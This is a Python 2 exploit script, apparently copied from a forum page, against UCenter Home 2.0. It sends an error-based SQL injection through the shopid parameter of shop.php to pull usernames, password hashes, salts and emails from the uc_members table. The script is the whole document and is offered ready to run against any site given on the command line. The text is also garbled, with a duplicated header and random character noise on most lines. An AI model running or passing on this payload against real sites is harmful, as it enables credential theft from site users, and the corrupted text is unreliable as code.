#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl7 a- `, R0 S- F I) S# Q
, e' f" @+ N. ]7 m" L1 E( M
. I/ Y, X% b; h0 F8 A#!/usr/bin/env python
. D: P; }4 D4 i$ O, X$ g$ U" R 1 y. ?) l. q3 D5 J1 \) ]2 l1 r" M
import sys 3 N+ k" |5 j2 W6 j2 `
import urllib2 6 m! J) T: B+ h8 e
import re / m' A+ J- }" a
4 h9 v$ s- Z- o0 [7 l
def info():
& Q0 ^, h: k2 N# v$ J. ` print 'From:http://www.exploit-db.com/exploits/14997/'
4 t" N; R8 {8 A! g print 'http://www.hake.cc/Web_loudong/'
+ g ~! [8 k$ R/ Q print 'changed:qiaoy' $ e$ v0 ?6 I4 z+ I1 y
print 'exp:'
' B6 M. e4 y7 [( }4 _+ } print ' ./UCenter_Home_2.0.py site' , Q- T8 \0 C% [/ O7 [
s) R) u# Q6 N' X) u$ g( i& W& x
def main():
, P( z5 y0 B4 P2 A3 p6 _' H! | if len(sys.argv) != 2:
0 v/ h+ A6 A- Y5 Z8 C, L4 p info() " X6 |% l7 _2 [1 u$ u$ }" }: l
else: 2 w4 X; |# A, ]0 j# r- n
site = sys.argv[1] 1 E! `* F- W+ C- B
if site[0:7] == 'http://':
m$ y1 T) \6 q2 X4 S3 D, M sitesite =site - t, Z; i: O3 I4 q
elif site[0:8] == 'https://':
8 y- F# C- c& e. b L sitesite = site 8 }/ f, G' T6 n1 d; |0 H
else:
5 P4 U- ^# J: Z% ?, H+ U7 y site = 'http://'+site # _# {$ I8 n8 b* a" P. R5 X1 C
try: ( j2 e- `. Y0 k
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' 4 i% @& _ ?$ D+ }
Value = urllib2.urlopen(url).read()
0 Z/ s. l( x( P$ j' b- U$ j1 i/ Q Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
: d' R7 {9 ?) M1 ~6 L hacked = Msg.split(':')
6 O8 c! Q- r* Z* L3 S s print 'Name: '+hacked[1] ( \0 N6 m/ w6 N1 Q- ~
print 'Passwd: '+hacked[2] $ T0 G9 Q8 {5 R. ^7 m* f+ x" C" C
print 'salt: '+hacked[3]
0 }; H* a* t8 z: M D& N* C5 ~( g print 'email: '+hacked[4] ( k% j. t t3 r' v) k# X1 q$ N( b- w1 a
except: ' k. O4 O( m) Q
print 'Sorry,I can\'t work............' + }/ N" U7 E" w6 e8 _0 k
! w/ C1 s) F4 aif __name__ == '__main__':
* ]& s/ p- @6 n! q4 l* Q main() |